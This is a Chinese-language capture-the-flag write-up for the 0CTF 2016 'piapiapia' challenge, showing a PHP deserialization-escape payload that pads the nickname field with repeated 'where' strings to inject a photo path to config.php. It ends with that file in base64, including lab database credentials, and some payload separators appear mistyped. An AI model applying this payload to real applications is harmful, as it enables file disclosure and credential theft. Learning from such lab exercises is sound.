[0CTF 2016]piapiapia

好耶!!!
可爱猫猫,有可爱猫猫的题能有什么坏心思(希望)
尝试几个sql注入无果
开始信息搜集
我习惯先用www.zip和robots.txt试一试,不行再用扫描工具(不知道习惯好还是不好。。。)

怎么办
都打开看看,然后进入难过的代码审计时间
最后发现了唯一一个读文件的地方

在photo这里
所以我们要想办法就是读取我们想要的文件
即config.php

之后我们还可以看到profile有一个发序列化,所以,我们的思路就应该是构造序列化,最后我们能读到文件。
所以怎么看呢?
先试试正常注册吧
最后注册登录之后进入了update.php

所以,我们是不能用photo传什么xxx.php啥的
所以,我们应该是就是在nickname那里进行注入
所以
结合之前我们发现的序列化和反序列化
我们猜测这是一道反序列化逃逸的题!!!
好抽象,这道题,要判断nickname是数组…好魔鬼,所以
nickname的序列化会变成
public nickname="abc" |
所以这道题的思路就是通过上传的nickname伪造一个
s:5:"photo";s:10:"config.php" |
所以,先随便试试
nickname="xxx";}s:5:"photo",s:10:"config.php";} |
尝试一下
对了,差点忘记,我们要逃逸的字符串为
";}s:5:"photo",s:10:"config.php";} |
对吧,这里是34个字符
所以,我们还要想办法让这34个字符变成合法的
也就说序列化之后我们要把
nickname="xxx";}s:5:"photo",s:10:"config.php";} |
这一串代码的被认知长度加长34个字符串,怎么办呢
这个时候我就发现了这个,所以就是说,如果我们输入where,它会被当做hacker,也就是说多出了一个字符!!!
所以这里的xxx用34个where代替
nickname="wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo",s:10:"config.php";} |
好耶!
最后就是传上去之后抓包
将nickname改为数组上传形式
像是这样

之后我们就可以进入主页,查看源代码,发现一串base64字符串,解码得到flag
PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne2ViYmQ4YTJkLTc3YjktNGFiNy1hM2IxLTUyMjk3ZGQwY2Y3NX0nOwo/Pgo= |
